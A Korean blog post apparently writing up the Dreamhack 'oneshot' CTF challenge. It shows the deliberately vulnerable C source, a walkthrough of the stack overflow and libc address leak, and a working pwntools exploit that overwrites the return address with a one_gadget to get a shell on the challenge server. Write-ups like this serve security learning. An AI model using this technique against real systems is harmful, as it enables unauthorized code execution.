[Dreamhack] oneshot

2022. 2. 19. 16:34Dreamhack/System Hacking

1. 문제 정보

2. 문제 파일

더보기
// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("MSG: ");
    read(0, msg, 46);

    if(check > 0) {
        exit(0);
    }

    printf("MSG: %s\n", msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}

문제에서 제공되는 소스 코드입니다.

3. 문제 풀이

더보기

 

    char msg[16];
    size_t check = 0;

16byte msg 배열과 8byte check 변수가 선언되어 있습니다.

 

    printf("stdout: %p\n", stdout);

라이브러리에 있는 _IO_2_1_stdout_ 구조체의 주소를 출력해줍니다.

이를 이용해 system, /bin/sh, hook, one_gadget의 주소를 구할 수 있습니다.

 

    printf("MSG: ");
    read(0, msg, 46);

 read 함수를 통해 버퍼 오버 플로우 공격이 가능합니다.

 

    if(check > 0) {
        exit(0);
    }

check의 값을 검사합니다 0 보다 크면 프로그램을 종료합니다. 버퍼 오버 플로우를 통해 check 변수를 0 이하의 수로 바꿔야 됩니다.

 

    printf("MSG: %s\n", msg);
    memset(msg, 0, sizeof(msg));
    return 0;

msg 문자열을 출력하고 msg 배열을 0으로 초기화 후 함수가 끝납니다.

 

이번 문제는 one_gadget으로 푸는 문제로 one_gadget은 실행하면 셸이 획득되는 코드 뭉치를 말합니다.

해당 명령어를 실행하면 one_gadget의 주소를 구할 수 있습니다.

 

카나리가 없기 때문에 라이브러리 base 주소와 one_gadget의 주소를 합쳐 Return Address를 덮어 씌우도록 하겠습니다.

 

msg의 주소는 rbp - 0x20에 위치하고 check 변수의 주소는 rbp - 0x8에 위치합니다.

 

0x16byte를 임의의 값으로 채우고 "\x00\x00\x00\x00"를 넣어 check 변수를 0으로 만들도록 하겠습니다.

그리고 one_gadget의 주소를 추가해 셸을 실행하도록 해보겠습니다.

 

 

코드와 결과는 아래와 같습니다.

from pwn import *

context.log_level = 'debug'

r = remote("host2.dreamhack.games", 16640)
libc = ELF('./libc.so.6')

r.recvuntil("stdout: ")
libc_stdout = int(r.recvline()[:-1], 16)
libc_base = libc_stdout - libc.symbols['_IO_2_1_stdout_']
libc_og = libc_base + 0x45216

print("[1] libc base : ", hex(libc_base))
print("[2] libc one_gadget : ", hex(libc_og))

payload = b"A" * 0x18 + b"\x00" * 0x8 + b"B" * 0x8 + p64(libc_og)
r.sendafter("MSG: ", payload)

r.interactive()

'Dreamhack > System Hacking' 카테고리의 다른 글

[Dreamhack] basic_exploitation_002  (0) 2022.02.22
[Dreamhack] out_of_bound  (0) 2022.02.19
[Dreamhack] Hook Overwrite  (0) 2022.02.19
[Dreamhack] basic_rop_x86  (0) 2022.02.19
[Dreamhack] basic_rop_x64  (0) 2022.02.18